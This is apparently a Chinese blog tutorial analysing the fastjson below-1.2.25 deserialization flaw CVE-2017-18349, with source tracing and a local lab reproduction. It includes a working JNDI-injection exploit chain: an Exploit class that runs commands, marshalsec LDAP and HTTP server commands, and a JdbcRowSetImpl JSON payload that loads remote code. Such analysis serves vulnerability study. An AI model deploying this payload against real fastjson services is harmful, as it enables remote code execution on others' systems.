如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析
如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析，针对这个问题，这篇文章详细介绍了相对应的分析和解答，希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
下面将对fastjson<1.2.25反序列漏洞进行漏洞原理分析、本地调试验证等。
（1）影响范围
Fastjson<1.2.25
（2）漏洞成因
@type属性：Fastjson支持在json数据中使用@type属性，该json数据会被反序列化成指定的对象类型，在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值，若对象的javabean存在属性的setter方法则调用set方法，反之调用get方法。
import java.util.Map;
public class User {
private String name;
private Map map;
public String getName() {
System.out.println("getName is running ...");
return name;
}
public void setName(String name) {
System.out.println("setName is running ...");
this.name = name;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
'}';
}
public Map getmap() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
return map;
}
}
public class Test {
public static void main(String[] args) {
String json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\"}";
json = "{\"@type\":\"bean.User\", \"name\":\"zhangsan\",\"map\":{}}";
Object obj = JSON.parse(json);
System.out.println(obj); //输出User{name='zhangsan'}，弹出计算器
}
}经过代码追踪，发现属性赋值是在FieldDeserializer.java的setValue函数中，因为map属性不存在set方法，故在setValue函数中fieldInfo.getOnly为true，method为getmap方法
public void setValue(Object object, Object value) {
if (value == null //
&& fieldInfo.fieldClass.isPrimitive()) {
return;
}
try {
Method method = fieldInfo.method;
if (method != null) {
if (fieldInfo.getOnly) {//set方法不存在，根据类型调用get方法
if (fieldInfo.fieldClass == AtomicInteger.class) {
AtomicInteger atomic = (AtomicInteger) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicInteger) value).get());
}
} else if (fieldInfo.fieldClass == AtomicLong.class) {
AtomicLong atomic = (AtomicLong) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicLong) value).get());
}
} else if (fieldInfo.fieldClass == AtomicBoolean.class) {
AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
if (atomic != null) {
atomic.set(((AtomicBoolean) value).get());
}
} else if (Map.class.isAssignableFrom(method.getReturnType())) {
Map map = (Map) method.invoke(object);
if (map != null) {
map.putAll((Map) value);
}
} else {
Collection collection = (Collection) method.invoke(object);
if (collection != null) {
collection.addAll((Collection) value);
}
}
} else {//set方法存在，调用set方法
method.invoke(object, value);
}
return;
}调试可以发现调用链如下：
（2）漏洞利用，经过上述分析，满足一下任意条件可进行RCE
找到一个类，存在一个属性，属性类型为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一种类型，定义了属性的get方法但未定义set方法，在get方法中可构造gadget链达到代码执行目的。
找到一个类，存在一个属性，定义了set方法，在方法中可构造gadget链达到代码执行目的。
找到一个类JdbcRowSetImpl，在变量autoCommit的set函数中，会调用connect函数：
connect函数中，会获取private成员变量dataSourceName，作为lookup函数的参数进行服务获取，这时JNDI注入攻击走起：
步骤1：启动HTTP服务并放置构造函数具有RCE的攻击类，启动LDAP服务
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
public class Exploit extends UnicastRemoteObject implements ObjectFactory, Remote {
public Exploit() throws IOException {
System.out.println("Exploit");
Runtime.getRuntime().exec("calc");
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println("getObjectInstance");
Runtime.getRuntime().exec("calc");
return null;
}
}python -m SimpleHTTPServer 80 java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777
步骤2：触发json解析，实现计算器弹窗
String className = "com.sun.rowset.JdbcRowSetImpl";
String dataSourceName = "ldap://127.0.0.1:7777/any";
json = "{\"@type\":\"" + className + "\"," + "\"dataSourceName\":\"" + dataSourceName + "\"," + "\"autoCommit\":true" + "}";
//JDK 8u191及以后,默认为false，以下为了调试手工改了配置
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
JSON.parse(json);针对高版本JDK，默认配置限制了远程factory类的下载，实际环境中可以用LDAP+本地反序列化的方式去进行利用。
关于如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析问题的解答就分享到这里了，希望以上内容可以对大家有一定的帮助，如果你还有很多疑惑没有解开，可以关注蜗牛博客行业资讯频道了解更多相关知识。
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